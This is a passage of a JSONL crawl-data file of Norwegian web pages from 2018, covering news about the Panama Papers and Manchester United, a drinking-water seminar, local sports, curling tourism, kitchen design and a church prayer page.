"f3760391-b6df-4913-bbf2-170cb0a235bf"}
{"url": "https://www.medier24.no/artikler/tyske-myndigheter-mener-mediene-bor-overlevere-alle-11-5-millioner-panama-papers-dokumenter/362250", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:34:03Z", "text": "\n\n# Tyske myndigheter mener mediene b\u00f8r overlevere alle 11,5 millioner Panama Papers-dokumenter\n\n\\- Til stor hjelp for etterforskningen, sier Heiko Maas.\n\n  - 11\\. april 2016 - 06:52\n\n**Berlin (NTB-Reuters):** Medieorganisasjonene som har jobbet fram **Panama Papers**-saken, b\u00f8r overlevere alle de 11,5 millioner dokumentene de sitter p\u00e5, sier **Tysklands** **justisminister**.\n\nMyndighetene i mange land har iverksatt etterforskning etter lekkasjene av panamadokumentene for \u00e5 se om det har blitt beg\u00e5tt straffbare forhold n\u00e5r rike og mektige personer har plassert sine penger i skatteparadiser.\n\n\u2013 Det vil v\u00e6re til stor hjelp for etterforskningen dersom alle dokumentene ble overlevert til tyske myndigheter, sier den tyske justisministeren **Heiko Maas** til avisa Tagesspiegel s\u00f8ndag.\n\nI sentrum for avsl\u00f8ringene st\u00e5r det Panama-baserte advokatfirmaet **Mossack Fonseca**, som har hjulpet klienter fra hele verden med \u00e5 opprette 250.000 postboksselskaper i skatteparadiser i fire ti\u00e5r.\n\n**11,5 millioner** krypterte dokumenter ble i fjor lekket fra advokatfirmaet og gitt til den tyske avisa **S\u00fcddeutsche Zeitung**. Avisa tok s\u00e5 kontakt med det internasjonale journalistnettverket **ICIJ** for \u00e5 f\u00e5 hjelp med \u00e5 analysere dokumentene.\n\n** Nyheter Panama Papers\n\n", "language": "no", "__index_level_0__": "9334bb4c-02af-4b30-af7b-ff924fba1f9a"}
{"url": "https://www.nettavisen.no/sport/fotball/kommer-til-england-for-a-finne-uniteds-neste-manager/5469127.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:49:28Z", "text": "\n\n# Dette er de beste pulsklokkene\n\nKlubbens eier vil v\u00e6re involvert.\n\nGlazer-familien \u00f8nsker en sentral rolle n\u00e5r Manchester United skal velge sin nye manager. De amerikanske klubbeierne reiser derfor til England fredag.\n\nStorklubben er p\u00e5 managerjakt etter at David Moyes m\u00e5tte g\u00e5 tirsdag etter bare ni m\u00e5neder i jobben. Ryan Giggs har f\u00e5tt det midlertidige ansvaret, men han skal bare lede laget ut sesongen.\n\nMoyes ble h\u00e5ndplukket av forgjengeren Alex Ferguson, men denne gangen \u00f8nsker Glazer-familien \u00e5 v\u00e6re mer involvert. Nederlands landslagssjef Louis van Gaal er nevnt som den heteste kandidaten til \u00e5 bli ny sjef p\u00e5 Old Trafford.\n\nVan Gaal har uttrykt interesse for jobben, men sier han \u00f8nsker en avklaring f\u00f8r Nederlands VM-tropp samles 7. mai. Hvis ikke, vil han vente til midten av juli, n\u00e5r VM er over, med \u00e5 bestemme seg for hva han skal gj\u00f8re framover.\n\nIf\u00f8lge avisen The Guardian skal Glazer-familien, som eier Manchester United, m\u00f8te klubbdirekt\u00f8r Ed Woodward for \u00e5 legge en strategi for hvordan de skal sikre seg sin foretrukne kandidat samt diskutere andre mulige alternativer. I tillegg skal de snakke om klubbens strategi p\u00e5 overgangsmarkedet.\n\nEierne skal ogs\u00e5 treffe Ryan Giggs for \u00e5 \u00f8nske ham lykke til f\u00f8r managerdebuten mot Norwich l\u00f8rdag.\n\nManchester United er regjerende seriemester, men har hatt en skuffende sesong. Laget ligger helt nede p\u00e5 sjuendeplass i Premier League og ble utsl\u00e5tt av tittelforsvarer Bayern M\u00fcnchen i kvartfinalen i mesterligaen. Heller ikke i de hjemlige cupene lyktes United. (\u00a9NTB)\n\n# Mest sett siste uken\n", "language": "no", "__index_level_0__": "ffaddc5e-fce6-461a-89ef-85828a3fff9e"}
{"url": "https://biologi.tekna.no/helseeffekter-ved-nye-materialer-i-vannforsyning/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:07:26Z", "text": "# Helseeffekter ved nye materialer i vannforsyning\n\n\n\nI henhold til drikkevannsforskriften skal materialer som kommer i kontakt med drikkevann, ikke avgi stoffer som reduserer drikkevannskvaliteten. Det finnes allikevel ingen norsk godkjenningsordning for nye materialer. Hvor problematisk er dette?\n\nVannforeningen holdt fagtreff om dette den 4. desember.\n\n**Line Ruden fra Mattilsynet**, snakket om utfordringen at det ikke finnes noen norsk godkjenningsordning for materialbruk i vannforsyningen.  \nLine Ruden: Tilsyn med drikkevannsmaterialer (PDF)\n\n**  \nOlav Berge i Direktoratet for byggkvalitet**, snakket om krav til produktene i f\u00f8lge Plan- og bygningsloven.  \nOlav Berge: Krav til produktene etter Plan- og bygningsloven (PDF)\n\n**Thale Sofie Wester Plesser i fra SINTEF Byggforsk**, snakket om hvordan drikkevannskvaliteten kan sikres ved innf\u00f8ring av nye materialer i vannledningsnettet.  \nThale Plesser: Nye materialer i vannledningsnettet \u2013 hvordan kan man sikre drikkevannskvaliteten? (PDF)\n\n**  \nElisabeth Hovda og Kristin Tyldum Kj\u00f8glum i fra Vann- og avl\u00f8psetaten i Oslo kommune,** snakket om henholdsvis: hvordan Vann- og avl\u00f8psetaten h\u00e5ndterer nye materialer i vannforsyningen og \u00abMetode, like viktig som materiale\u00bb?\n\nKristin Tyldum Kj\u00f8glum: Metode, like viktig som materiale? (PDF)\n\n**Drikkevannsforskriften**  \n*\u00a7 16.Materialer  \nVannverkseieren og eieren av internt fordelingsnett skal sikre at de materialene som kommer i kontakt med drikkevannet, er helsemessig trygge. Materialene skal ikke avgi stoffer til drikkevannet i helsefarlige mengder eller i mengder som bidrar til at drikkevannet blir mindre klart eller f\u00e5r framtredende lukt, smak eller farge.*\n\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013\n\nSe tidligere streaminger i Vannforeningen, eller se hvilke andre nettverk og arrangementer Tekna kan tilby innen milj\u00f8 og biovitenskap.\n\n1.   **Nora Belling Mangen** sier:\n    \n    4\\. desember 2017, kl. 15:30\n    \n    Hei\n    \n    Takk for fint fagtreff.  \n    Kan jeg som har fulgt arrangementet p\u00e5 nett ogs\u00e5 f\u00e5 tilsendt link til presentasjonene n\u00e5r de er klare for publisering?\n    \n    \\-Nora\n    \n      -  **Tove** sier:\n        \n        4\\. desember 2017, kl. 15:32\n        \n        Hei Nora.\n        \n        Jeg legger ut presentasjonene sammen med opptakene i blogginnlegget i l\u00f8pet av en dag eller to.\n        \n        vh Tove (Tekna)\n        \n2.   **Tekna StreamTeam** sier:\n    \n    4\\. desember 2017, kl. 11:05\n    \n    Hei\\! Hvis du har sp\u00f8rsm\u00e5l til foredragsholder eller oss under streamingen kan de stilles her og s\u00e5 videreformidler vi s\u00e5 raskt det lar seg gj\u00f8re.\n    \n    Vennlig hilsen  \n    Tekna StreamTeam\n    \n", "language": "no", "__index_level_0__": "3104a27a-3f44-4ce8-83c6-ffad248cb874"}
{"url": "https://vipers.no/2014/11/19/nina-og-anita-pa-samling/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:18:08Z", "text": "## Nina og Anita p\u00e5 samling for h\u00f8ye jenter\n\nNina Olsen og Anita Eikild er begge tatt ut til \u00abh\u00f8ye jenter\u00bb samling i Aquarama\n\nRegion S\u00f8r Vest har kalt inn til samling for h\u00f8ye jenter i Aquarama torsdag 27. november kl. 1730-2100. B\u00e5de Nina Olsen (S\u00f8gne HK) og Anita Eikild (AK 28) fra Vipers er tatt ut til samlingen. Trener for samlingen er Morten L\u00f8v\u00f8 og Stig \u00c5gedal-Mortensen.\n\n**Program:**  \nKl. 1730 \u2013 1815 info/ Teori  \nKl. 1830\u00a0\u2013 1930 Fysisk trening  \nKl. 1930 \u2013 2100 H\u00e5ndballtrening\n\n\u00a0\n", "language": "no", "__index_level_0__": "fe0d2c06-b85b-4eb2-bc36-fa0f6e59aa34"}
{"url": "https://www.porten.no/artiklar/mista-lappen-etter-a-ha-nadd-grensa-for-prikkar/392722", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:29:17Z", "text": "\n\n# Mista lappen etter \u00e5 ha n\u00e5dd grensa for prikkar\n\nK\u00f8yrde for fort og m\u00e5 belaga seg p\u00e5 sykkel, g\u00e5ing og kollektivt ei tid. Politiet skreiv ogs\u00e5 ut fleire b\u00f8ter\n\n  -  Ole R. S\u00e6lthun\n  - 19\\. jan. 2017 - 16:39\n\n**\u00c5rdal:** Politiet twitra rett f\u00f8r klokka 1630 at to f\u00f8rarar fekk forenkla f\u00f8relegg for \u00e5 ha k\u00f8yrt for fort i ei 80-sone i \u00c5rdal, h\u00f8gaste m\u00e5lte fart var 95 km/t. I tillegg mista ein mann i 50-\u00e5ra f\u00f8rarkortet etter \u00e5 ha k\u00f8yrt for fort fordi han d\u00e5 kom over grensa p\u00e5 \u00e5tte prikkar.\n\n** F\u00f8rarkort Kontroll Nyhende Trafikk\n\n", "language": "no", "__index_level_0__": "6434510b-79f1-4d1b-8bf6-c721ea875ec1"}
{"url": "https://www.visitnorway.no/reisemal/sorlandet/kristiansand/aktiviteter-attraksjoner/familie-og-moro/curling-i-kristiansand/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:41:04Z", "text": "Curling, Idda Arena.  \nPhoto: Hildegunn S. Teinum, Visit S\u00f8rlandet\n\n \n# Curling i Kristiansand\n\n## Med gutta p\u00e5 curling\n\n##### Marte Mari Moen er leder for barneavdelingen i Hedmarken Curlingklubb. N\u00e5\u00a0har hun tatt med seg de tre guttene sine p\u00e5 vinterferie til Kristiansand og er imponert over hvor enkelt det er \u00e5 booke curlingbane p\u00e5 Idda Arena.\u00a0\n\n*Tekst: Hildegunn Skage Teinum, Visit S\u00f8rlandet*\n\nMarte kommer fra Kristiansand, men har bodd p\u00e5 Hamar de siste 15 \u00e5rene. Her bor hun med mann og tre gutter i alderen 6-12 \u00e5r. Eldstemann Jakob (12 \u00e5r) har drevet med curling i flere \u00e5r allerede, og Marte har selv blitt leder for Hedmarken Curlingklubbs barneavdeling.\u00a0\n\nJakob\u00a0er allerede dreven p\u00e5 isen, og han har rukket \u00e5 v\u00e6re med p\u00e5 flere turneringer p\u00e5 \u00d8stlandet.\u00a0\n\n\n\n\\-Jeg har drevet med curling i over to \u00e5r. P\u00e5 Hamar er det ganske mange barn som driver med curling, men jeg er den eneste i min klasse. Det er trening en dag i uka, men jeg curler ofte flere dager i tillegg p\u00e5 fritida.\u00a0\n\nMamma Marte\u00a0supplerer med at de har hatt en enorme tilstr\u00f8mming til klubben det siste \u00e5ret.\n\n\\- N\u00e5 er det over 30 barn som spiller curling i klubben.\u00a0\n\n### Curling passer for alle\n\n\\- Curling er en morsom sport som passer for folk i alle aldre. Dette er noe som alle kan f\u00e5 til, sier hun\u00a0f\u00f8r hun sender avg\u00e5rde en stein bortover den glatte curlingbanen.\u00a0\n\n\\- Jeg er ikke noe s\u00e6rlig flink, men vi har det g\u00f8y p\u00e5 isen, og det er det viktigste.\u00a0\n\nDe er ikke s\u00e5 opptatt av \u00e5 telle poeng.\u00a0Idag er poenget at fetterne og vennene som aldri har pr\u00f8vd curling f\u00f8r skal f\u00e5 en introduksjon til curling.\n\nOskar\u00a0(10 \u00e5r) fra Kristiansand har hatt lyst til \u00e5 pr\u00f8ve curling i minst 2 \u00e5r.\n\n\\- Dette var g\u00f8y. Det var litt vanskelig, men jeg vil gjerne pr\u00f8ve curling igjen. Jeg kjenner ingen i Kristiansand som spiller curling.\u00a0\n\n\n\nAleksander (9 \u00e5r) og Henrik (12 \u00e5r) kommer fra L\u00f8renskog\u00a0og er fetterne til Jakob. De pr\u00f8ver ogs\u00e5 curling for f\u00f8rste gang og syntes det var veldig g\u00f8y.\u00a0\n\n\\- Dette gav mersmak, sier Henrik. Neste gang vil jeg ta med meg mamma og pappa slik at de ogs\u00e5 kan f\u00e5 pr\u00f8ve.\u00a0\n\nMinstemann Ulrik (6 \u00e5r) liker ogs\u00e5 curling, men synes det er g\u00f8yest \u00e5 turne p\u00e5 steinene, s\u00e5 da sender Marte han ut til mormor.\u00a0\n\n\n\n\\-Sikkerhet er viktig. Steinene er tunge og det er fort gjort \u00e5 falle p\u00e5 den glatte isen.\u00a0\n\n### Enkelt \u00e5 booke\n\nMarte er imponert over hvor enkelt det var \u00e5 booke time for curling p\u00e5 Idda Arena.\u00a0\n\n\\-Kristiansand kommune har et bookingsystem p\u00e5 nett der det var enkelt \u00e5 f\u00e5 oversikt over ledige timer. Prisen er det heller ingenting \u00e5 si p\u00e5. P\u00e5 dagtid\u00a0koster en bane 384 kroner for 1,5 timer og da er sko og utstyr inkludert i prisen. Idag var vi 8 personer, s\u00e5 da blir prisen per person sv\u00e6rt lav.\u00a0\n\nSe ledige tidspunkt og book time for curling p\u00e5 Idda Arena\n\nJakob er ogs\u00e5 imponert over curlingbanen i Kristiansand.\u00a0\n\n\\- Men jeg merket forskjell fra curlingbanen p\u00e5 Hamar. Her var det mye kaldere og dermed blir isen ogs\u00e5 hardere enn det jeg er vant til. Jeg m\u00e5tte justere endel p\u00e5 farten i forhold til det jeg er vant med p\u00e5 Hamar.\u00a0\n\n\n\n### Andre vinterferieaktiviteter i Kristiansand\n\nI kaf\u00e9en utenfor sitter mormor og venter sammen med de to yngste s\u00f8nnene til Marte. Tobias (10 \u00e5r) er egentlig litt lei av curling, men han syntes det var veldig moro \u00e5 dra p\u00e5 tur med morfar i Aquarama dagen f\u00f8r. Da var de i Aquarama hele dagen, nesten seks timer med bademoro ble det p\u00e5 gjengen.\u00a0\n\n\\- Og imorgen tar vi med oss alle guttene p\u00e5 kino, sier mormor. Det er jo s\u00e5 mye g\u00f8y \u00e5 finne p\u00e5 i Kristiansand n\u00e5r det er vinterferie.\u00a0\n\n## Moro p\u00e5 isen i Kristiansand\n\nP\u00e5 Idda Arena er det b\u00e5de curlingbane og ishall der du kan st\u00e5 p\u00e5 sk\u00f8yter og spille ishockey. I curlinghallen er det lurt \u00e5 bestille bane p\u00e5 forh\u00e5nd p\u00e5 grunn av stor p\u00e5gang. I ishallen er det \u00e5pent for alle i helger og skoleferier. \u00a0Du kan leie utstyr p\u00e5 Idda Arena.\u00a0\n\n", "language": "no", "__index_level_0__": "ccee3a38-d315-4174-8d90-a3afac35f867"}
{"url": "http://bo-bedre.no/kjokken/industrielt-og-blankt-men-ikke-kaldt", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:38:30Z", "text": "#### Modernisert dr\u00f8mmehus i hagebyen\n\n# Industrielt og blankt, men ikke kaldt\n\n## H\u00f8stens fineste kj\u00f8kken er r\u00f8ft og industrielt. Kj\u00f8r stilen helt ut med en innredning i st\u00e5l fra topp til t\u00e5 eller spe p\u00e5 det du har med r\u00f8ffe innslag.\n\n  \n\n18\\. oktober 2017 av Julie Liljeroth og Miriam Brenne \n\n\\#industrielt \\#kj\u00f8kken \\#trend\n\n    \n    \n    ### Blanke flater med varmt f\u00f8lge\n    \n    Blankpolerte flater i rustfritt st\u00e5l gir oss assosiasjoner til store restaurantkj\u00f8kken, men det trenger ikke fremst\u00e5 kaldt og upersonlig av den grunn. Tvert i mot\\! La deg inspirere av de r\u00f8ffe kj\u00f8kkenmodulene som er formgitt av Frama og Carl Kai Rand, spesielt for hjemmet hans i K\u00f8benahavn. **I kombinasjon med en hvitoljet benkeplate i eik og h\u00e5ndtak i l\u00e6r f\u00e5r kj\u00f8kkenet et mykt, moderne og organiskt preg, synes vi\\!\u00a0**\n    \n    Her best\u00e5r kj\u00f8kkenet av ett skap og en kj\u00f8kken\u00f8y i st\u00e5l\\!\n    \n    \n    \n    ### St\u00e5l i et stykke\n    \n    **Italienske Abimis Ego-kj\u00f8kken best\u00e5r av AISI 304- st\u00e5l som er lett \u00e5 rengj\u00f8re, resirkulerbart og laget for \u00e5 vare en evighet.** De skreddersydde modulene i rustfritt st\u00e5l, er en dr\u00f8m for \u00f8yet\\! Form og st\u00f8rrelse kan tilpasses ditt rom og bygges som et legosett, del for del. Pris p\u00e5 foresp\u00f8rsel.\n    \n    Foretrekker du et kj\u00f8kken i varmt treverk, har vi samlet de fineste til deg her\\!\u00a0\n    \n    \n    \n    ### St\u00e5lhyller fra String\n    \n    ### Skandinavisk med hint av industri\n    \n    Den lyse og skandinaviske kj\u00f8kkenstilen kler godt et hint av r\u00f8ff industri, slik Vedums lysegr\u00e5 kj\u00f8kkenmodell Maja har f\u00e5tt med industrielle fliser p\u00e5 veggen fra H\u00f6gan\u00e4s.\u00a0\n    \n    \n    \n    ### Lekkert i skap\n    \n    B\u00e5de den lysegr\u00e5 fargen og de glatte skapfrontene gir kj\u00f8kkenserien Maja fra Vedum et lett industrielt preg.\n    \n    Du kan f\u00e5 et r\u00f8ft preg med betong og lyst treverk ogs\u00e5\\!\n    \n    \n    \n    ### Salt og pepper i matt metall\n    \n    Vi trenger ett sett ved kj\u00f8kken\u00f8ya og ett p\u00e5 bordet. Derfor roper vi et h\u00f8yt hurra for at Norm Architects Bottle grinder n\u00e5 lanseres i nok en lekker versjon. Denne i matt metall er fin nok til \u00e5 st\u00e5 p\u00e5 festbordet ogs\u00e5, 599 kr, Menu.\n    \n    \n    \n    ### R\u00f8ff detalj p\u00e5 bordet\n    \n    Buckle Jar Spotted i st\u00f8pejern, med spraglete overflate, er en r\u00f8ff detalj b\u00e5de p\u00e5 kj\u00f8kkenbenken og p\u00e5 spisebordet \u2013 ekstra fin er den med lekkert, rosa himalayasalt oppi\\! 319 kr, Ferm Living.\n    \n    \n    \n    ### R\u00f8ff barkrakk med mykt sete\n    \n    Den r\u00f8ffe konstruksjonen i barkrakken Barbry gir deg st\u00f8tte til beina i flere h\u00f8yder, og toppes av en plate i svartlakkert ask eller polstret sete. Vi g\u00e5r for en i petroleumsbl\u00e5 velur\\! 4764 kr, fredericia.com.\n    \n    \n    \n    ### Vakkert og r\u00f8ft med industrielle materialer\n    \n    Redskapslomme i vegetabilsk garvet skinn, 900 kr, Skandinavian Design Factory, Arki-krakk i tre og st\u00e5l, pris p\u00e5 foresp\u00f8rsel, Pedrali/euklides.no, **Fj\u00e4llbo-serien er designet av Johan Kroon og er inspirert av industridesign fra tidlig 1900-tallet, hylle 995 kr, lampen fra Sammode Studio er t\u00f8ff, men gir et vakkert lys.** Ask is- og vinkj\u00f8ler, med vanntett beholder og svartbeiset tre p\u00e5 utsiden, 20 x 22 cm, 1305 kr, House Doctor.\n    \n    Det er flere m\u00e5ter \u00e5 lykkes med svarte kontraster p\u00e5 kj\u00f8kkenet. BoligPluss har samlet et knippe vellykkede varianter.\n\n## Industrielt og blankt, men ikke kaldt **\n## Ut med stuen, inn med kj\u00f8kkenet\\! **\n\n\n\n", "language": "no", "__index_level_0__": "de494e57-c4d9-47c4-8f94-60bc8510aa25"}
{"url": "http://www.ordet.be/idebank", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:18:47Z", "text": "\n## B\u00f8nn\n\nIde:\u00a0\n\n**B\u00f8nn** av Victor M. Matthews\n\nHimmelske Far, jeg b\u00f8yer meg for deg i tilbedelse og lovprisning. Jeg dekker meg selv med blodet til Herren Jesus Kristus, som min beskyttelse. Jeg overgir meg, hvert eneste omr\u00e5de av mitt liv, helt og ureservert til deg. Jeg tar avstand fra det djevelen gj\u00f8r, for \u00e5 hindre meg i mitt b\u00f8nneliv. Jeg plasserer meg i troen hos den levende Gud og sier fra meg alle mulig innblanding fra djevelen i min b\u00f8nn.\n\nSatan, jeg\u00a0ber deg, i Herren Jesus Kristi navn, \u00e5 forlate min n\u00e6rhet, med alle dine demoner. Jeg bringer blodet til Herren Jesus Kristus mellom oss.\n\nHimmelske Far, jeg tilber deg og gir deg all pris, ros og \u00e6re. Jeg innser at du er verdig til \u00e5 motta all tilbedelse, takk, pris, ros og \u00e6re. Jeg vil fornye min troskap og lydighet til deg og ber at din velsignede hellige \u00c5nd m\u00e5 sette meg i rette stand for denne b\u00f8nnestunden. Jeg er takknemlig himmelske Far, for at du har elsket meg fra f\u00f8r verden ble skapt og at du sendte Herren Jesus Kristus til verden for \u00e5 d\u00f8, som min stedfortreder. (Istedenfor meg.) Jeg er takknemlig for at Herren Jesus Kristus kom som min representant og at gjennom ham har du helt og totalt tilgitt meg. Du har adoptert meg inn i din familie. Du har p\u00e5tatt deg alt ansvar for meg. Du har gitt meg evig liv. Du har gitt meg Herren Jesus Kristi fullkomne rettferdighet, slik at jeg n\u00e5 er rettferdig. Jeg er full av takknemlighet for at du, Gud, i Kristus har gjort meg hel, og gitt deg selv til meg, slik at du er min daglige hjelp og styrke.\n\nHimmelske Far, \u00e5pne opp mine \u00f8yne s\u00e5 jeg kan se litt av hvor stor du er og hvor komplett din omsorg, bestemmelse og underhold er for denne dagen. Jeg er full av takk for Herren Jesus Kristi seier, som han vant for meg p\u00e5 korset, og for at hans oppstandelse er blitt gitt til meg, og at jeg n\u00e5 er plassert med Jesus Kristus i himmelen. Jeg tar min plass hos Jesus i det himmelske riket og innser i tro at alle onde \u00e5nder og satan selv er under mine f\u00f8tter.\n\nJeg erkl\u00e6rer derfor, at satan og alle onde \u00e5nder er underkastet meg i Herren Jesu Kristi navn.\n\nJeg er takknemlig for den rustningen du har s\u00f8rget for. Jeg tar p\u00e5 sannhetens belte, rettferdighetens brystplate, fredens sko og frelsens hjelm. Jeg l\u00f8fter opp troens skjold mot gl\u00f8dende hurtige angreps piler til fienden og jeg tar \u00c5ndens sverd i min hand, som er Guds Ord. Jeg velger \u00e5 bruke ditt Ord mot alle onde og syndige krefter i mitt liv. Jeg tar p\u00e5 denne rustning, dette liv og denne b\u00f8nn i total avhengighet av deg, velsignede Hellige \u00c5nd. Jeg kler meg over alt dette med den givende kj\u00e6rlighetens kappe.\n\nJeg er takknemlig, Himmelske Far, for at Herren Jesus Kristus har \u00f8delagt alle fyrster, herrer og makter og \u00e5penlyst gjort narr av dem (gjort dem til spott og sped) og trimfert over dem.\u00a0 Jeg gj\u00f8r krav p\u00e5 hele denne seieren for mitt liv i dag. Jeg avviser alle antydninger, anklager og fristelser fra satan. Jeg bekrefter at Guds Ord er sannhet og jeg velger \u00e5 leve i dag i Guds Ords lys.\u00a0 Jeg velger, Himmelske Far, \u00e5 leve i lydighet mot deg og i fellesskap med deg. \u00c5pne mine \u00f8yne og vis meg omr\u00e5der i mitt liv som ikke behager deg.\u00a0 Arbeid i meg og rens meg for alle omr\u00e5der som kan gi satan fotfeste, mot meg. P\u00e5 alle m\u00e5ter vil jeg gj\u00f8re det det inneb\u00e6rer \u00e5 v\u00e6re ditt adopterte barn og jeg \u00f8nsker all ledelse fra Den hellige \u00c5nd velkommen i mitt liv.\n\nI tro og avhengighet av deg, legger jeg av det gamle menneskets sanselighet og st\u00e5r i korsfestelsens seier der Herren Jesus Kristus skaffet renselse fra den gamle naturen. Jeg tar p\u00e5 meg den nye naturen og stiller meg i oppstandelsens seier og bestemmelsen Jesus har gjort for meg, s\u00e5 jeg kan leve i frihet fra synd.\n\nDerfor legger jeg i dag av alle former for egoisme og tar p\u00e5 meg den nye naturen med dets givende kj\u00e6rlighet. Jeg legger av alle form for redsel og tar p\u00e5 meg den nye naturen med dens mot. Jeg legger av alle form for svakhet og tar p\u00e5 meg den nye naturen med dens styrke. Jeg legger av alle form for lyst og tar p\u00e5 meg den nye naturen med dens rettferdighet, renhet og \u00e6rlighet. Jeg har tillit til at du vil vise meg hvordan jeg kan gj\u00f8re dette, i mitt daglige liv.\n\nP\u00e5 alle m\u00e5ter st\u00e5r jeg i Herren Jesu Kristi seierfulle himmelfart og herliggj\u00f8relse, hvor alle fyrster, herrer og makter ble underlagt Ham. Jeg ber om/ krever min plass i Kristus, som seierherre med ham, over alle min sjels fiender. Velsignede Hellige \u00c5nd, jeg ber om at du m\u00e5 fylle meg. Kom inn i mitt liv og bryt ned enhver helt og kast ut enhver fiende.\n\nJeg er takknemlig, Himmelske Far, for at du p\u00e5 en uttrykksfull m\u00e5te har vist din vilje for mitt daglige liv i ditt Ord. Jeg ber derfor om \u00e5 f\u00e5 del i hele ditt \u00f8nske og vilje for denne dagen. Jeg er takknemlig for at du har velsignet meg med all \u00e5ndelig velsignelse i himmelen og i Kristus Jesus. Jeg er takknemlig for at du har gitt meg liv og satt meg inni det levende h\u00e5p som Jesus Kristus skapte ved sin oppstandelse fra d\u00f8den. Jeg er full av takk for at du har laget en plan, slik at jeg i dag kan leve sammen med Guds \u00c5nd med kj\u00e6rlighet og glede, fred med t\u00e5lmodighet, mildhet og godhet med ydmykhet, trofasthet og selvkontroll. Jeg innser at dette er din vilje for meg, derfor avviser og motst\u00e5r alle satans og hans onde \u00e5nders anstrengelser for \u00e5 ta meg bort fra Guds gode vilje. Jeg avvise i dag \u00e5 tro (vektlegge) mine onde f\u00f8lelser og holder opp troens skjold mot alle anklager, halv sannheter og antydninger som satan \u00f8nsker \u00e5 putte inn i min tanke. Jeg ber om og gj\u00f8r krav p\u00e5 hele Guds vilje for mitt liv i dag.\n\nI Herren Jesu Kristi navn, overgir jeg meg helt og fullstendig til deg, Himmelske Far, som et hellig offer. Jeg velger \u00e5 ikke la meg forme av denne verden.\u00a0 Jeg velger \u00e5 la meg forvandle, ved at tankene mine fornyes. Jeg ber om at du vil vise meg din vilje og gj\u00f8re meg i stand til \u00e5 f\u00f8lge din vilje helt og fullt i dag.\n\nJeg er takknemlig, Himmelske Far, for at v\u00e5pnene i din krigf\u00f8ring ikke er kj\u00f8delige, men mektige og sterke gjennom deg, Gud, slik at de kan bryte ned mektige festninger, kaste ned antagelser og enhver h\u00f8y tanke som opph\u00f8yer seg selv mot kunnskapen om Gud, og bringe enhver tenkem\u00e5te og forestilling til lydighet mot Herren Jesus Kristus. Derfor, i mitt eget liv i dag, river jeg ned satans befestninger og knuser satans planer som har blitt laget mot meg. Jeg river ned satans befestninger i min tanke og jeg overgir min tanke til deg, velsignede Hellige \u00c5nd. Jeg bekrefter, Himmelske Far, at du ikke har gitt meg fryktens \u00e5nd, men at du har gitt meg kraft, kj\u00e6rlighet og en sunn grunnfestet tanke. Jeg bryter og knuser satans befestninger formet mot mine f\u00f8lelser i dag og jeg gir mine f\u00f8lelser til deg. Jeg knuser satans befestninger formet mot min vilje i dag. Jeg gir min vilje til deg Gud og jeg velger \u00e5 ta troens rette avgj\u00f8relser i dag. Jeg knuser satans befestninger formet mot min kropp i dag. Jeg gir min kropp til deg Gud og oppdager at jeg er ditt tempel. Jeg gleder meg i din barmhjertighet og godhet.\n\nHimmelske Far, jeg ber at du n\u00e5 og gjennom denne dagen vil styrke, opplyse meg og vise meg de m\u00e5ter satan hindrer, frister, lyver og vrenger p\u00e5 troen i mitt liv. Sett meg i stand, slik at jeg blir et menneske som vil glede deg. Sett meg i stand til \u00e5 v\u00e6re mentalt p\u00e5g\u00e5ende, slik at jeg kan tenke p\u00e5 og praktisere ditt Ord og gi deg, Gud, din rettmessige plass i mitt liv.\n\nIgjen dekker jeg meg selv med Herren Jesu Kristi blod og ber at du, velsignede Hellige \u00c5nd, vil bringe korsfestelsens verk, oppstandelsens verk, herliggj\u00f8relsens verk og pinsens verk inn i mitt liv. Jeg overgir meg selv til deg. Jeg avviser \u00e5 miste motet. Du er h\u00e5pets Gud. Du har vist din kraft ved \u00e5 reise Jesus Kristus opp fra d\u00f8den og jeg gj\u00f8r p\u00e5 alle m\u00e5ter krav p\u00e5 denne seiren over alle sataniske styrker i mitt liv. Jeg ber i Herren Jesu Kristi navn i takknemlighet. Amen.\n\n\u00a0\n## Praktisk krakk p\u00e5 talerstolen\n\nIde:\u00a0\n\nPraktisk krakk, som sitter fast med hengsler p\u00e5 talerstolen\u00a0i Bergmo kirke i Molde. Se bildene under.\n\n## Tegnebrett med fargestift pose\n\nIde:\u00a0\n\nTegnebrett med fargestift pose i fra Bergmo kirke i Molde. Se bilde under.\n\nTegnebrett med fargestift pose\n\n## Oversikt over bibelens f\u00f8rste generasjoners navn og levetid\n\nIde:\u00a0\n\nVedlagt ligger en oversikt over alderen p\u00e5 de f\u00f8rste generasjonene som bibelen beskriver i 1. Mos kap 5 og 11. Tallet i den gr\u00e5 ruten viser hvor gammel vedkomne var n\u00e5r han fikk sin s\u00f8nn. (feks Adam var 130 \u00e5r da Set ble f\u00f8dt).  \nDe gule og gr\u00f8nne grafene viser den enkeltes levealder. P\u00e5 grunn av den h\u00f8ye levealderen kan vi se at sv\u00e6rt mange generasjoner hadde teoretisk mulighet til \u00e5 snakke sammen, hvis de levde i n\u00e6rheten av hverandre. Siden de er i slekt, s\u00e5 er det trolig at det faktisk var mulig. Oversikten er laget av \u00d8yvind Hansen, Kristiansand.\n\nDe hebraiske navnene har 